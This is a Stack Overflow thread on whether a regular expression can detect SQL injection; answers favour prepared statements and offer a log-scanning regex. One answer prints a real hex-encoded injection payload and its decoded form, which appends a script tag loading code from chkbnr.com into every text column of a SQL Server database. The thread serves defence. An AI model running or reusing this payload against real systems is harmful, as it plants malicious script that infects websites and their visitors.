<p>Is there a Regular Expression that can detect SQL in a string? Does anyone have a sample of something that they have used before to share?</p>

[{'answer_id': 45096, 'author': 'Hank Gay', 'author_id': 4203, 'author_profile': 'https://Stackoverflow.com/users/4203', 'pm_score': 6, 'selected': True, 'text': "<p>Don't do it. You're practically guaranteed to fail. Use <code>PreparedStatement</code> (or its equivalent) instead.</p>\n"}, {'answer_id': 45098, 'author': 'Timbo', 'author_id': 4310, 'author_profile': 'https://Stackoverflow.com/users/4310', 'pm_score': 0, 'selected': False, 'text': "<p>I don't have a regex but my understanding is that the most important thing is to detect the single quote.  All the injection attacks start from there.  They probably have the -- in there too to comment out and other SQL that might be after the string.</p>\n"}, {'answer_id': 45099, 'author': 'SQLMenace', 'author_id': 740, 'author_profile': 'https://Stackoverflow.com/users/740', 'pm_score': 4, 'selected': False, 'text': "<p>Use stored procedures or prepared statements. How will you detect something like this? </p>\n\n<p>BTW <strong>do NOT run this:</strong></p>\n\n<pre><code>   DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0x4445434C415 245204054205641524348415228323535292C40432056415243\n   4841522832353529204445434C415245205461626C655 F437572736F7220435552534F5220464F522053454C45435420612E6 E616D652C622E6E616D652046524F4D207379736F626A65637473206 12C737973636F6C756D6E73206220574845524520612E69643D622E6 96420414E4420612E78747970653D27752720414E442028622E78747 970653D3939204F5220622E78747970653D3335204F5220622E78747 970653D323331204F5220622E78747970653D31363729204F50454E2 05461626C655F437572736F72204645544348204E4558542046524F4 D205461626C655F437572736F7220494E544F2040542C40432057484 94C4528404046455443485F5354415455533D302920424547494E204 55845432827555044415445205B272B40542B275D20534554205B272 B40432B275D3D525452494D28434F4E5645525428564152434841522 834303030292C5B272B40432B275D29292B27273C736372697074207 372633D687474703A2F2F7777772E63686B626E722E636F6D2F622E6 A733E3C2F7363726970743E27272729204645544348204E455854204 6524F4D205461626C655F437572736F7220494E544F2040542C40432 0454E4420434C4F5345205461626C655F437572736F72204445414C4 C4F43415445205461626C655F437572736F7220%20AS%20VARCHAR(4000));EXEC(@S);\n</code></pre>\n\n<p>Which translates to:</p>\n\n<pre><code>( DECLARE Table_Cursor CURSOR FOR\n    SELECT a.name,b.name FROM sysobjects a,syscolumns b \n    WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167) \n    OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C \n    WHILE(@@FETCH_STATUS=0) \n    BEGIN EXEC(\n      'UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''&lt;script src=chkbnr.com/b.js&gt;&lt;/script&gt;''') \n    FETCH NEXT FROM Table_Cursor INTO @T,@C \n  END \n  CLOSE Table_Cursor \n  DEALLOCATE Table_Cursor )\n</code></pre>\n"}, {'answer_id': 45119, 'author': 'Daniel Huckstep', 'author_id': 4657, 'author_profile': 'https://Stackoverflow.com/users/4657', 'pm_score': 2, 'selected': False, 'text': '<p>Save yourself problems and use stored procedures with prepared statements or parameterized queries. Stored procedures are good practice anyway, as they act like an interface to the database, so you can change what happens behind the scenes (inside the stored proc) but the signature remains the same. The prepared statements help take care of injection protection.</p>\n'}, {'answer_id': 40178552, 'author': 'jœl', 'author_id': 7053479, 'author_profile': 'https://Stackoverflow.com/users/7053479', 'pm_score': 0, 'selected': False, 'text': "<p>As said, it is better to use prepared statements.  You could argue forcing key queries to be executed by a stored procedure to force the use of preparing the call.</p>\n\n<p>Anyway, here is a simple grep to detect classic n=n integer in where clauses; it skips flagging the 1=1 used by many lazy query constructors for the AND, but will flag it for the OR</p>\n\n<pre><code>((WHERE|OR)[ ]+[\\(]*[ ]*([\\(]*[0-9]+[\\)]*)[ ]*=[ ]*[\\)]*[ ]*\\3)|AND[ ]+[\\(]*[ ]*([\\(]*1[0-9]+|[2-9][0-9]*[\\)]*)[ ]*[\\(]*[ ]*=[ ]*[\\)]*[ ]*\\4\n</code></pre>\n\n<p>It could of course be improved to detect decimal and string comparisons, but it was a quick detection mechanism, along with other greps such as ORD(MID(, etc. </p>\n\n<p>Use it on a query log, such as mysql's general log</p>\n\n<p>Hope its useful</p>\n"}]
['https://Stackoverflow.com/questions/45093', 'https://Stackoverflow.com', 'https://Stackoverflow.com/users/4541/']